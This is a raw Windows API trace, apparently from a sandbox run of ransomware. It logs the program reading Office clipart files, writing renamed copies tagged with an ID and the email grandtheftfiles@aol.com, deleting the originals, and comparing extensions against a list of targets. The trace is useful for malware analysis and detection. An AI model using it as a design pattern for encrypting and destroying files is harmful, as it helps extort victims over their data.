	[0087.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.986] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.986] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.986] GetLastError () returned 0x0
	[0087.986] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1378, lpOverlapped=0x0) returned 1
	[0088.304] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1380, lpOverlapped=0x0) returned 1
	[0088.305] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.305] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.305] SetEndOfFile (hFile=0x334) returned 1
	[0088.305] CloseHandle (hObject=0x334) returned 1
	[0088.305] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.305] SetEndOfFile (hFile=0x39c) returned 1
	[0088.306] CloseHandle (hObject=0x39c) returned 1
	[0088.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1
	[0088.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.310] lstrlenW (lpString=".doc") returned 4
	[0088.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.310] lstrlenW (lpString=".docx") returned 5
	[0088.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.310] lstrlenW (lpString=".pdf") returned 4
	[0088.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.310] lstrlenW (lpString=".xls") returned 4
	[0088.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.310] lstrlenW (lpString=".xlsx") returned 5
	[0088.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.310] lstrlenW (lpString=".ppt") returned 4
	[0088.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.310] lstrlenW (lpString=".zip") returned 4
	[0088.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.310] lstrlenW (lpString=".rar") returned 4
	[0088.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString=".bz2") returned 4
	[0088.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString=".7z") returned 3
	[0088.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.311] lstrlenW (lpString=".dbf") returned 4
	[0088.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.311] lstrlenW (lpString=".1cd") returned 4
	[0088.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.311] lstrlenW (lpString=".jpg") returned 4
	[0088.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.311] lstrlenW (lpString=".doc") returned 4
	[0088.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString=".docx") returned 5
	[0088.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.311] lstrlenW (lpString=".pdf") returned 4
	[0088.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString=".xls") returned 4
	[0088.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.311] lstrlenW (lpString=".xlsx") returned 5
	[0088.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.311] lstrlenW (lpString=".ppt") returned 4
	[0088.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.311] lstrlenW (lpString=".zip") returned 4
	[0088.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.311] lstrlenW (lpString=".rar") returned 4
	[0088.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString=".bz2") returned 4
	[0088.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.311] lstrlenW (lpString=".7z") returned 3
	[0088.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.312] lstrlenW (lpString=".dbf") returned 4
	[0088.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.312] lstrlenW (lpString=".1cd") returned 4
	[0088.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0088.312] lstrlenW (lpString=".jpg") returned 4
	[0088.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.312] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.312] lstrlenW (lpString="FD02115_.WMF") returned 12
	[0088.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.591] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4660) returned 1
	[0088.591] CloseHandle (hObject=0x39c) returned 1
	[0088.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220
	[0088.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.599] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.599] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.614] GetLastError () returned 0x0
	[0088.614] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1234, lpOverlapped=0x0) returned 1
	[0088.629] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1240, lpOverlapped=0x0) returned 1
	[0088.630] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.630] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.630] SetEndOfFile (hFile=0x334) returned 1
	[0088.630] CloseHandle (hObject=0x334) returned 1
	[0088.630] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.630] SetEndOfFile (hFile=0x39c) returned 1
	[0088.631] CloseHandle (hObject=0x39c) returned 1
	[0088.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1
	[0088.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.632] lstrlenW (lpString=".doc") returned 4
	[0088.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString=".docx") returned 5
	[0088.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.632] lstrlenW (lpString=".pdf") returned 4
	[0088.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString=".xls") returned 4
	[0088.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.632] lstrlenW (lpString=".xlsx") returned 5
	[0088.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.632] lstrlenW (lpString=".ppt") returned 4
	[0088.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.632] lstrlenW (lpString=".zip") returned 4
	[0088.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.632] lstrlenW (lpString=".rar") returned 4
	[0088.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString=".bz2") returned 4
	[0088.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString=".7z") returned 3
	[0088.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.632] lstrlenW (lpString=".dbf") returned 4
	[0088.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.632] lstrlenW (lpString=".1cd") returned 4
	[0088.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.632] lstrlenW (lpString=".jpg") returned 4
	[0088.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.633] lstrlenW (lpString=".doc") returned 4
	[0088.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString=".docx") returned 5
	[0088.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.633] lstrlenW (lpString=".pdf") returned 4
	[0088.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString=".xls") returned 4
	[0088.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.633] lstrlenW (lpString=".xlsx") returned 5
	[0088.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.633] lstrlenW (lpString=".ppt") returned 4
	[0088.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.633] lstrlenW (lpString=".zip") returned 4
	[0088.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.633] lstrlenW (lpString=".rar") returned 4
	[0088.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString=".bz2") returned 4
	[0088.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString=".7z") returned 3
	[0088.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.633] lstrlenW (lpString=".dbf") returned 4
	[0088.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.633] lstrlenW (lpString=".1cd") returned 4
	[0088.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0088.633] lstrlenW (lpString=".jpg") returned 4
	[0088.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.633] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.634] lstrlenW (lpString="FLAP.WMF") returned 8
	[0088.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.634] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2070) returned 1
	[0088.634] CloseHandle (hObject=0x39c) returned 1
	[0088.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220
	[0088.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.717] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.717] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0088.717] GetLastError () returned 0x0
	[0088.717] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x816, lpOverlapped=0x0) returned 1
	[0088.734] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x820, lpOverlapped=0x0) returned 1
	[0088.734] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.735] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0088.735] SetEndOfFile (hFile=0x37c) returned 1
	[0088.735] CloseHandle (hObject=0x37c) returned 1
	[0088.735] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.735] SetEndOfFile (hFile=0x39c) returned 1
	[0088.736] CloseHandle (hObject=0x39c) returned 1
	[0088.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1
	[0088.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.736] lstrlenW (lpString=".doc") returned 4
	[0088.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.736] lstrlenW (lpString=".docx") returned 5
	[0088.736] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0088.736] lstrlenW (lpString=".pdf") returned 4
	[0088.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.736] lstrlenW (lpString=".xls") returned 4
	[0088.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.737] lstrlenW (lpString=".xlsx") returned 5
	[0088.737] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0088.737] lstrlenW (lpString=".ppt") returned 4
	[0088.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.737] lstrlenW (lpString=".zip") returned 4
	[0088.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.737] lstrlenW (lpString=".rar") returned 4
	[0088.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString=".bz2") returned 4
	[0088.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString=".7z") returned 3
	[0088.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.737] lstrlenW (lpString=".dbf") returned 4
	[0088.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.737] lstrlenW (lpString=".1cd") returned 4
	[0088.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.737] lstrlenW (lpString=".jpg") returned 4
	[0088.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.737] lstrlenW (lpString=".doc") returned 4
	[0088.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString=".docx") returned 5
	[0088.737] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0088.737] lstrlenW (lpString=".pdf") returned 4
	[0088.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.737] lstrlenW (lpString=".xls") returned 4
	[0088.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.737] lstrlenW (lpString=".xlsx") returned 5
	[0088.737] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0088.737] lstrlenW (lpString=".ppt") returned 4
	[0088.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.738] lstrlenW (lpString=".zip") returned 4
	[0088.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.738] lstrlenW (lpString=".rar") returned 4
	[0088.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.738] lstrlenW (lpString=".bz2") returned 4
	[0088.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.738] lstrlenW (lpString=".7z") returned 3
	[0088.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.738] lstrlenW (lpString=".dbf") returned 4
	[0088.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.738] lstrlenW (lpString=".1cd") returned 4
	[0088.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64
	[0088.738] lstrlenW (lpString=".jpg") returned 4
	[0088.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.738] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.738] lstrlenW (lpString="HH00513_.WMF") returned 12
	[0088.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.739] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=818) returned 1
	[0088.739] CloseHandle (hObject=0x39c) returned 1
